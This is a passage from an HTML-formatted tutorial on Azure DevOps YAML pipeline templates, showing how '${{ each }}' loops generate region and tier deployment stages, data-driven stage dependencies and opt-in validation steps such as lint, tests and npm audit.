style=\"color:#ae81ff\"\u003esc-prod-eastus-worker\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each item in parameters.deployMatrix }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ item.tier }}_${{ item.region }}_${{ item.service }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;${{ item.tier }} / ${{ item.region }} / ${{ item.service }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ item.tier }}-${{ item.region }}-${{ item.service }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                echo \u0026#34;Deploying ${{ item.service }} to ${{ item.region }} (${{ item.tier }})\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy ${{ item.service }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe flat array approach is easier to read, easier to filter with inline \u003ccode\u003e${{ if }}\u003c/code\u003e, and immune to the three-level nesting timeout. When the combinations are dynamic — generated from infrastructure state at runtime — a script job can write the array to a pipeline variable and pass it to the next template (covered in the Dynamic Matrix Strategies article in this series).\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"advanced-iteration-patterns\"\u003eAdvanced Iteration Patterns\u003c/h2\u003e\n\u003ch3 id=\"conditional-stage-dependencies-from-object-properties\"\u003eConditional Stage Dependencies from Object Properties\u003c/h3\u003e\n\u003cp\u003eEach generated stage can declare \u003ccode\u003edependsOn:\u003c/code\u003e from the iterated object, making the deployment topology data-driven rather than hardcoded in the template.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: []                     \u003cspan style=\"color:#75715e\"\u003e# Runs immediately after Build\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eDeploy_dev_eastus              \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Waits for dev in the same region\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eDeploy_dev_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eDeploy_staging_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eDeploy_staging_westeu          \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Requires both staging regions to succeed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eDeploy_staging_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eDeploy_staging_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Build\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Build application\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ replace(env.name, \u0026#39;-\u0026#39;, \u0026#39;_\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.dependsOn }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying to ${{ env.name }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAdding a new environment requires adding one object to the array with the correct \u003ccode\u003edependsOn\u003c/code\u003e references. The template does not change.\u003c/p\u003e\n\u003ch3 id=\"generating-steps-from-object-properties\"\u003eGenerating Steps from Object Properties\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003e${{ each }}\u003c/code\u003e at the step level generates validation or command steps from a data-driven list. Adding a check requires a new array entry, not a template edit. Combine with inline \u003ccode\u003e${{ if step.enabled }}\u003c/code\u003e to make individual steps opt-in per caller.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003evalidationSteps\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eLint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm run lint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eUnitTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm test\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eIntegrationTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm run test:integration\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e          \u003cspan style=\"color:#75715e\"\u003e# Disabled by default; callers can override\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm audit --audit-level=high\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eValidate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eValidation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003echeckout\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eself\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm ci\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Install dependencies\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003e${{ each step in parameters.validationSteps }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(step.enabled, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ step.command }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ step.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eA caller that needs integration tests passes the same array with \u003ccode\u003eenabled: true\u003c/code\u003e on that entry. The template does not change.\u003c/p\u003e\n\u003ch3 id=\"using--each--with-templatecontext\"\u003eUsing \u003ccode\u003e${{ each }}\u003c/code\u003e with \u003ccode\u003etemplateContext\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eWhen iterating a \u003ccode\u003ejobList\u003c/code\u003e parameter, each job carries both its standard properties and an optional \u003ccode\u003etemplateContext\u003c/code\u003e object. The loop body can read both dimensions in the same expression — the caller co-locates job structure and deployment metadata; the template reads both to generate fully configured stages.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-with-context.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejobs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejobList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each job in parameters.jobs }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ job.job }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ job.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan 